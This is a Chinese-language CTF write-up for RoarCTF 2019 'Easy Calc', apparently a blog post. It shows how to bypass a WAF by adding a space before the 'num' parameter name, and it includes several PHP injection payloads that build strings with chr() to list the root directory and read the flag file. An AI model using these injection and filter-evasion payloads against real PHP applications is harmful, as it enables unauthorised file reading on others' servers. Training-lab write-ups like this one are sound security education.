[RoarCTF 2019]Easy Calc

进入环境 看到一个计算器,F12看一下源码,提示有WAF和calc.php

进入calc.php看下

过滤了很多东西,尝试传递一下num=1

但尝试输入phpinfo()时,却被403禁止了

判断是WAF禁止了变量为字母,我们在变量前加一个空格,即num,因为现在的变量是 num,而不是num。但从之前的源码上了解到已经过滤了空格,这样php在解析的时候,会先把空格给去掉,这样我们的代码就饶过了WAF并正常执行。

接下来我们还要用到三个函数,scandir() ,file_get_contents()和var_dump()

file_get_contents()函数用来读取文件内容用法如下(类似用法的还有一个readfile函数)

var_dump显示关于一个或多个表达式的结构信息,包括表达式的类型与值(类似用法的是print_r)

我们先利用scandir() 函数扫描一下目录,看看有什么东西

var_dump(scandir(chr(47)))

解释一下,因为过滤很多字符,我们用char()转字符ascii码进行拼接。然后使用var_dump将结果输出。可以看到flag的位置了。

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag出

————————————————————————————————————

利用print_r和readfile同样可以达到相同的效果

print_r用法

readfile用法

print_r(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

4个函数排列组合同样可以达到相同的效果

print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

 

posted @ 2020-11-12 16:47  陈先z  阅读(115)  评论(0)    收藏  举报